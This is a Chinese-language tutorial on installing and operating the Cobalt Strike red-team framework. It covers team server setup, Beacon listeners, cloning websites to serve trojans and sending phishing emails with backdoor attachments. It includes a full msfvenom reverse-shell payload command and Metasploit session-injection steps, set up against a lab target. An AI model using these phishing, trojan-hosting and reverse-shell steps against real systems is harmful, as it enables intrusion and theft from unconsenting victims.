jjzjj

Clbalt Strike安装及使用详解

爱睡觉的扬扬 2024-04-19 原文

Clbalt Strike安装及使用详解

1 Clbalt Strike的特点

Clbalt Strike简称CS 用于团队作战使用,由一个服务端和多个客户端组成,能让多个攻击者这在一个团队服务器上共享目标资源和信息

CS有很多Payload的生成模块 可以生成EXE,dll,vbs,图片马,bad,vba宏,和shellcode等等

CS还支持钓鱼攻击,可自动化挂马链接生成

CS还有很多后渗透模块,浏览器代理模块,端口转发 扫描,提权,socks代理 ,令牌窃取等

Clbalt Strike 分为服务端和客户端

服务端 可以部署在远程服务器下或者 部署在kaili里

客户端 可以部署到本地 支持linux和windows系统

2 Clbalt Strike 安装与环境配置(kali)

准备环境 :

CS4,4(官网自行下载)https://www.cobaltstrike.com/
jdk11(如果使用kali 则不需要另外安装jdk)

2.1 其他linux系统安装jdk

使用 APT 安装 OpenJDK 11:

1 升级APT

sudo apt-get update

apt-get update

2 使用 APT 安装 OpenJDK 11:

sudo apt-get install openjdk-11-jdk

apt-get install openjdk-11-jdk

3 将 OpenJDK 11 设置为默认 Java 程序:

sudo update-java-alternatives -s java-1.11.0-openjdk-amd64

update-java-alternatives -s java-1.11.0-openjdk-amd64

2.2 开始安装

Clbalt Strike 4.4 安装包

将CS4.4解压

创建一个目录去存解压文件

给服务的启动文件赋 777权限

进入终端找到CS4目录 然后 chmod 777 teamserver (注意我这边是使用root终端操作的)

完成环境配置

3 Clbalt Strike 安装与环境配置(Windows)

3.1 下载Windows x64 OpenJDK:https://jdk.java.net/archive/

然后解压并找个位置放这个 jdk-11.0.1 注意路径最好不要有中文。

我这边把jdk-11.0.1放到E盘根目录

3.2 环境变量配置

进入CMD 输入 java -version

4 Cobalt Strike下载地址

官网地址 https://www.cobaltstrike.com/

5 Cobalt Strike团队服务器启动

打开root终端进入CS 目录

在终端中输入: ./teamserver 192.168.3.56 123456

解释

看到这个提示证明已经启动完成

到此CS服务器启动完成了

6 Cobalt Strike客户端连接到团队服务(Linux)

进入CS目录

然后输入 ./cobaltstrike 即可

第一次使用CS会提示权限不够

我们可以直接给cobaltstrike 赋777权限,然后在启动即课

终端内输入 chmod 777 cobaltstrike

启动CS完成后根据服务器配置输入IP ,端口,用户名,密码

看到提示点击 Yes即可

稍等片刻即可启动完成 (如果电脑较卡启动时间会稍微有点长多等一下)

7 Cobalt Strike客户端连接团队服务(Windows)

注意Cobalt Strike这款软件最好在虚拟机内执行避免后门反噬主机

解压CS安装包

启动方法1 直接管理员方式执行 cobaltstrike.bat

启动方法2 在CMD中运行,注意CMD也要管理员权限

启动CS完成后根据服务器配置输入IP ,端口,用户名,密码

看到服务器指纹确认点Yes 服务器指纹应与服务启动时一样


8 Cobalt Strik功能介绍

图标栏功能说明

1 添加新的 Cobalt Strik 团队服务器

2 删除当前 Cobalt Strik 团队服务器

3 新建一个监听器

4 切换图形会话按钮

5 切换列表会话按钮

6 以列表方式显示目标

7 密码凭证栏按钮

8 下载文件列表

9 键盘记录表

10 屏幕截图表

11 生成Windows下可执行木马

12 生成java签名applet攻击

13 生成office 宏攻击

14 生成powershell后门

15 文件托管按钮

16 管理web站点

17 帮助文档

18 关于

9 创建一个监控

9.1 监控器链接方式简介

beacon是cs内置的监听器,当我们在目标机器上成功执行Payload后,会返回一个shell发送到cs上。

foreign主要是提供给cs外的工具使用的监听器,例如派生出来msf的shell来进行后渗透。

External C2 是 cs引入的一种规范(或者框架),黑客可以利用这个功能拓展C2通信渠道,而不局限于默认提供的 http,https,dns,smb tcp 通道。大家可以参考 此处 下载完整的规范说明。

简而言之, 用户可以使用这个框架来开发各种组件,包括如下组件:

  • 第三方控制端(Controller):负责连接 Cobalt Strike TeamServer,并且能够使用自定义的 C2 通道与目标主机上的第三方客户端(Client)通信。
  • 第三方客户端(Client):使用自定义C2通道与第三 Controller 通信,将命令转发至 SMB Beacon。
  • SMB Beacon:在受害者主机上执行的标准 beacon。

9.2 Beacon分类

Beacon是Cobalt Strike运行在目标主机上的payload,Beacons是在隐蔽信道上给我们提供服务,用于长期控制受感染主机 。它的工作方式与Metasploit类似。在实际渗透过程中,我们可以将其 嵌入到可执行文件添加到Word文档或者通过利用主机漏洞来传递Beacon。

  1. DNS Beacon
  2. HTTP 和 HTTPS Beacon
  3. SMB Beacon
  4. TCP Beacon

9.2.1 DNS Beacon

DNS Beacon,就是使用DNS请求将Beacon返回。DNS 请求用于解析由你的 CS 团队服务器

DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务

注意:

在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式

DNS Beacon优点:

拥有更高的隐蔽性,但是速度相对于HTTP Beacon会更慢。

9.2.2 HTTP 和 HTTPS Beacon

HTTP Beacon 利用http请求来进行通信来向受害主机传达命令,达到控制对方主机的目的。缺点是明文传输。

HTTPS Beacon 增加了加密传输,其余跟http完全相同。

9.2.3 SMB Beacon

官网的解释为SMB Beacon 使用命名管道通过父 Beacon 进行通信,这种点对点通信借助 Beacons 在同一台主机上实现,它同样也适用于外部的互联网。Windows 当中借助在 SMB 协议中封装命名管道进行通信,因此,命名为 SMB Beacon。

以上的说法,其实就是将 Payload 运行(注入)后,创建了自定义命名管道(作服务端),等待连接即可。

9.2.3 TCP Beacon

TCP Beacon和SMB Beacon类似只不过TCP Beacon不是使用SMB与父Beacon进行通信而是使用TCP socket进行通信,cs4.0之后,这个技术就不适合做第一个木马使用,因为他的流量都是明文的,容易被发现但是这个技术,很适合在内网穿透的时候去使用,在内网穿透的时候一般只能使用tcp beacon去生成木马。

点击或 点击监听器

10 Cobalt Strik 目标主机信息收集

Cobalt Strik内置信息收集模块 可以收集 目标主机的操作系统版本 系统位数 浏览器 版本 位数

方便攻击者针对性攻击

配置信息收集 有4个参数可以设置 分别为 本地URL 本地Host 本地端口 跳转URL

本地URL 配置的参数是访问ip后面的参数

本地Host 是当前Cobalt Strik服务器的内网或公网IP

本地端口 默认是80 如果80被占用了就需要设置其他的 如 81 82 83 都可以

跳转URL 默认可不设置跳转

11 Cobalt Strik 克隆网页并挂马

克隆网页

1 配置网站克隆

克隆URL 输入http网站链接

本地URL 配置的参数是访问ip后面的参数

本地Host 是当前Cobalt Strik服务器的内网或公网IP

本地端口 默认是80 如果80被占用了就需要设置其他的 如 81 82 83 都可以

攻击地址 : 默认不配置

配置完成后访问 本地host地址

2 挂马

克隆URL 输入http网站链接

本地URL 配置的参数是访问ip后面的参数

本地Host 是当前Cobalt Strik服务器的内网或公网IP

本地端口 默认是80 如果80被占用了就需要设置其他的 如 81 82 83 都可以

攻击地址 : 选择一个已经配置好的后面下载链接 这个需要提前配·后门具体看视频

配置完成后访问 本地host地址+ 参数 mb

12 Cobalt Strik 邮件钓鱼

1 准备一个邮箱用于发送邮件

这边拿QQ邮箱为例 点击设置然后点击 账户

找到 IMAP/SMTP服务 点击开启服务 获取 授权码 (获取后把这个授权码先记录下来)

然后回到CS中 进入邮件钓鱼

邮件钓鱼配置参数如下

目标 :这里指的是接收邮件的号码

模板:邮件的格式个内容

附件: 可以加入后门程序或其他 或者不加

嵌入URL : 可以选择配置好的网站放进去

邮件服务器:

退信通知邮箱 可以填写任意可接受邮件的邮箱

所有参数配置完成后 点击 Send 发送邮件即可

12 将MSF会话注入Cobalt Strik监控

1 环境准备:

1 kali操作系统

2 Cobalt Strik 服务端和客户端

3 一个在MSF下拿到权限的靶机

2 配置MSF创建监听

2.1 使用msf创建后门

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.150 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe

2.2 使用python创建一个web服务 然后使用靶机下载

python3 -m http.server 80

2.3 配置监控并获取meterpreter

启动msf

msfconsole

创建监控

use exploit/multi/handler

加载payload

set payload windows/meterpreter/reverse_tcp

配置监控参数

show options

set lhost 监控IP

set lport 监控端口

run 执行

去靶机执行后门程序 等待返回 meterpreter

2.4 后台当前session

background

3 使用CS进行监控

1 加载MSF的payload 注入功能

use exploit/windows/local/payload_inject

2 设置payload

set payload windows/meterpreter/reverse_http

3 查看配置参数

show options

set lhost 10.0.0.36

设置cs服务器地址

4 set lport 4567

设置cs监听端口

5 set session 1

设置监控会话

6 set disablepayloadhander true

设置当前msf不接受监听数据

7 run

执行设置

4 CS开始实战操作

有关Clbalt Strike安装及使用详解的更多相关文章

  1. ruby - 如何使用 Nokogiri 的 xpath 和 at_xpath 方法 - 2

    我正在学习如何使用Nokogiri,根据这段代码我遇到了一些问题:require'rubygems'require'mechanize'post_agent=WWW::Mechanize.newpost_page=post_agent.get('http://www.vbulletin.org/forum/showthread.php?t=230708')puts"\nabsolutepathwithtbodygivesnil"putspost_page.parser.xpath('/html/body/div/div/div/div/div/table/tbody/tr/td/div

  2. ruby - 使用 RubyZip 生成 ZIP 文件时设置压缩级别 - 2

    我有一个Ruby程序,它使用rubyzip压缩XML文件的目录树。gem。我的问题是文件开始变得很重,我想提高压缩级别,因为压缩时间不是问题。我在rubyzipdocumentation中找不到一种为创建的ZIP文件指定压缩级别的方法。有人知道如何更改此设置吗?是否有另一个允许指定压缩级别的Ruby库? 最佳答案 这是我通过查看ruby​​zip内部创建的代码。level=Zlib::BEST_COMPRESSIONZip::ZipOutputStream.open(zip_file)do|zip|Dir.glob("**/*")d

  3. ruby - 为什么我可以在 Ruby 中使用 Object#send 访问私有(private)/ protected 方法? - 2

    类classAprivatedeffooputs:fooendpublicdefbarputs:barendprivatedefzimputs:zimendprotecteddefdibputs:dibendendA的实例a=A.new测试a.foorescueputs:faila.barrescueputs:faila.zimrescueputs:faila.dibrescueputs:faila.gazrescueputs:fail测试输出failbarfailfailfail.发送测试[:foo,:bar,:zim,:dib,:gaz].each{|m|a.send(m)resc

  4. ruby-on-rails - 使用 Ruby on Rails 进行自动化测试 - 最佳实践 - 2

    很好奇,就使用ruby​​onrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提

  5. ruby - 在 Ruby 中使用匿名模块 - 2

    假设我做了一个模块如下:m=Module.newdoclassCendend三个问题:除了对m的引用之外,还有什么方法可以访问C和m中的其他内容?我可以在创建匿名模块后为其命名吗(就像我输入“module...”一样)?如何在使用完匿名模块后将其删除,使其定义的常量不再存在? 最佳答案 三个答案:是的,使用ObjectSpace.此代码使c引用你的类(class)C不引用m:c=nilObjectSpace.each_object{|obj|c=objif(Class===objandobj.name=~/::C$/)}当然这取决于

  6. ruby - 使用 ruby​​ 和 savon 的 SOAP 服务 - 2

    我正在尝试使用ruby​​和Savon来使用网络服务。测试服务为http://www.webservicex.net/WS/WSDetails.aspx?WSID=9&CATID=2require'rubygems'require'savon'client=Savon::Client.new"http://www.webservicex.net/stockquote.asmx?WSDL"client.get_quotedo|soap|soap.body={:symbol=>"AAPL"}end返回SOAP异常。检查soap信封,在我看来soap请求没有正确的命名空间。任何人都可以建议我

  7. python - 如何使用 Ruby 或 Python 创建一系列高音调和低音调的蜂鸣声? - 2

    关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。

  8. ruby-on-rails - 'compass watch' 是如何工作的/它是如何与 rails 一起使用的 - 2

    我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t

  9. ruby - 使用 ruby​​ 将 HTML 转换为纯文本并维护结构/格式 - 2

    我想将html转换为纯文本。不过,我不想只删除标签,我想智能地保留尽可能多的格式。为插入换行符标签,检测段落并格式化它们等。输入非常简单,通常是格式良好的html(不是整个文档,只是一堆内容,通常没有anchor或图像)。我可以将几个正则表达式放在一起,让我达到80%,但我认为可能有一些现有的解决方案更智能。 最佳答案 首先,不要尝试为此使用正则表达式。很有可能你会想出一个脆弱/脆弱的解决方案,它会随着HTML的变化而崩溃,或者很难管理和维护。您可以使用Nokogiri快速解析HTML并提取文本:require'nokogiri'h

  10. ruby - 在 64 位 Snow Leopard 上使用 rvm、postgres 9.0、ruby 1.9.2-p136 安装 pg gem 时出现问题 - 2

    我想为Heroku构建一个Rails3应用程序。他们使用Postgres作为他们的数据库,所以我通过MacPorts安装了postgres9.0。现在我需要一个postgresgem并且共识是出于性能原因你想要pggem。但是我对我得到的错误感到非常困惑当我尝试在rvm下通过geminstall安装pg时。我已经非常明确地指定了所有postgres目录的位置可以找到但仍然无法完成安装:$envARCHFLAGS='-archx86_64'geminstallpg--\--with-pg-config=/opt/local/var/db/postgresql90/defaultdb/po

随机推荐